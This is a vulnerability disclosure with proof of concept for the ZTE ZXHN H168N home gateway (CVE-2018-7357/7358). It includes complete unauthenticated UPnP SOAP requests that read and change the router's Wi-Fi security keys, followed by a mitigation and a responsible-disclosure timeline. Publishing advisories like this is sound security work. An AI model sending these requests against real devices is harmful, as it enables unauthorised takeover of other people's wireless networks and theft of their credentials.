ZTE Home Gateway ZXHN H168N suffers from multiple access bypass and information disclosure vulnerabilities.
835798e5ebba5abb019adf55717b5e7d[*] POC: (CVE-2018-7357 and CVE-2018-7358)
Disclaimer: [This POC is for Educational Purposes , I would Not be
responsible for any misuse of the information mentioned in this blog post]
[+] Unauthenticated
[+] Author: Usman Saeed (usman [at] xc0re.net)
[+] Protocol: UPnP
[+] Affected Harware/Software:
Model name: ZXHN H168N v2.2
Build Timestamp: 20171127193202
Software Version: V2.2.0_PK1.2T5
[+] Findings:
1. Unauthenticated access to WLAN password:
POST /control/igd/wlanc_1_1 HTTP/1.1
Host: <IP>:52869
User-Agent: {omitted}
Content-Length: 288
Connection: close
Content-Type: text/xml; charset="utf-8"
SOAPACTION: "urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys" 1
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:GetSecurityKeys xmlns:u="urn:dslforum-org:service:WLANConfiguration:1"></u:GetSecurityKeys></s:Body></s:Envelope>
2. Unauthenticated WLAN passphrase change:
POST /control/igd/wlanc_1_1 HTTP/1.1
Host: <IP>:52869
User-Agent: {omitted}
Content-Length: 496
Connection: close
Content-Type: text/xml; charset="utf-8"
SOAPACTION: "urn:dslforum-org:service:WLANConfiguration:1#SetSecurityKeys"
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:SetSecurityKeys xmlns:u="urn:dslforum-org:service:WLANConfiguration:1"><NewWEPKey0>{omitted}</NewWEPKey0><NewWEPKey1>{omitted}</NewWEPKey1><NewWEPKey2>{omitted}</NewWEPKey2><NewWEPKey3>{omitted}</NewWEPKey3><NewPreSharedKey>{omitted}</NewPreSharedKey><NewKeyPassphrase>{omitted}</NewKeyPassphrase></u:SetSecurityKeys></s:Body></s:Envelope>
[*] Solution:
UPnP should not provide excessive services, and if the fix is not possible, then UPnP should be disabled on the affected devices.
[*] Note:
There are other services which should not be published over UPnP, which are not mentioned in this blog post, as the solution is the same.
[+] Responsible Disclosure:
Vulnerabilities identified - 20 August, 2018
Reported to ZTE - 28 August, 2018
ZTE official statement - 17 September 2018
ZTE patched the vulnerability - 12 November 2018
The operator pushed the update - 12 November 2018
CVE published - CVE- 2018-7357 and CVE-2018-7358
Public disclosure - 12 November 2018
Ref: http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009522